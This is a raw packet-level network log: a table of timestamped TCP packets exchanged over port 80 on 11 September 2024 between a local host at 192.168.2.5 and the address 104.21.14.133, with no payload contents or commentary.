Sep 11, 2024 18:23:57.919835091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.919842005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.919848919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.919850111 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.919850111 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.919857025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.919915915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.919915915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.920114994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.920403957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.920411110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.920418024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.920424938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.920454979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.920454979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.920490980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.920909882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921024084 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.921036959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921042919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921210051 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.921231031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921236992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921242952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921250105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921255112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921261072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921268940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921273947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921317101 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.921317101 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.921375990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921384096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921390057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921395063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921401978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921406984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921413898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921421051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921442986 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.921442986 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.921485901 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.921840906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921847105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921854019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921950102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.921962976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921971083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921977043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921984911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921991110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.921997070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922266006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.922282934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922288895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922296047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922303915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922310114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922314882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922324896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922329903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922341108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922348022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.922389030 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.922389030 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.923670053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.923676014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.923682928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.923691034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.923696041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.923702002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.923710108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.923715115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.923722029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.923759937 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.923760891 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.923788071 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.925220013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.925225973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.925318956 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.925331116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.925338984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.925395012 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.925549984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.925559044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.925564051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.925666094 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.925683022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.925692081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.925698042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.925822973 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927189112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927195072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927201033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927208900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927213907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927225113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927335024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927340031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927345991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927354097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927357912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927364111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927371025 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927372932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927377939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927396059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927407980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927412033 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927413940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927419901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927436113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927436113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927468061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927474976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927484035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927490950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927496910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927498102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927503109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927510023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927515030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927520990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927526951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927531958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927540064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927540064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927551031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927556992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927562952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927570105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927572012 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927576065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927582026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927588940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927592039 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927593946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927599907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927607059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927613020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927618980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927625895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927627087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927627087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927634001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927642107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927649021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927654982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927661896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927669048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927674055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927675009 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927675962 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927680969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927690029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927696943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927702904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927704096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927711010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927716017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927722931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927722931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.927738905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.927755117 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.928003073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928009033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928014994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928023100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928215027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.928471088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928478956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928486109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928492069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928622961 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.928637981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928771973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928787947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928787947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.928795099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928802967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928807974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928814888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928829908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928837061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.928958893 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.929160118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929167032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929172993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929181099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929186106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929193020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929208040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929214001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929219961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929227114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929291964 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.929291964 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.929649115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929656029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929666042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929675102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929783106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929791927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929797888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929805040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929812908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929819107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929826975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.929843903 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.929843903 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.929893017 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.930044889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.930052996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.930061102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.930068970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.930074930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.930082083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.930097103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.930104017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.930145979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.931427002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931488991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.931641102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931648016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931654930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931660891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931667089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931673050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931688070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931693077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931770086 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.931901932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931907892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.931915045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.932738066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.933757067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.933763027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.933770895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.933826923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.933968067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.933974981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.933981895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.933988094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.933993101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.933999062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934159994 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.934272051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934278965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934284925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934293032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934298038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934304953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934312105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934318066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934324026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934330940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934334993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.934336901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934344053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934345961 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.934353113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934360027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934365988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934374094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934379101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934385061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934392929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934393883 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.934393883 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.934398890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934406042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934412956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.934441090 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.934441090 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.934485912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.935034037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935039997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935048103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935431957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935437918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935465097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935470104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.935475111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935482025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935487032 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.935488939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935496092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935501099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935508013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935514927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935519934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935527086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935534954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935540915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935547113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935548067 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.935548067 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.935554981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.935600042 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.935600042 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.936001062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936006069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936012983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936089993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.936521053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936527014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936533928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936541080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936546087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936553001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936561108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936566114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936573982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936582088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936587095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936593056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936599970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936604023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936610937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936618090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.936630011 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.936630011 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.936676025 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.937062979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937069893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937076092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937407017 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.937433958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937442064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937448978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937455893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937460899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.937467098 CEST	80	49710	104.21.14.133	192.168.2.5
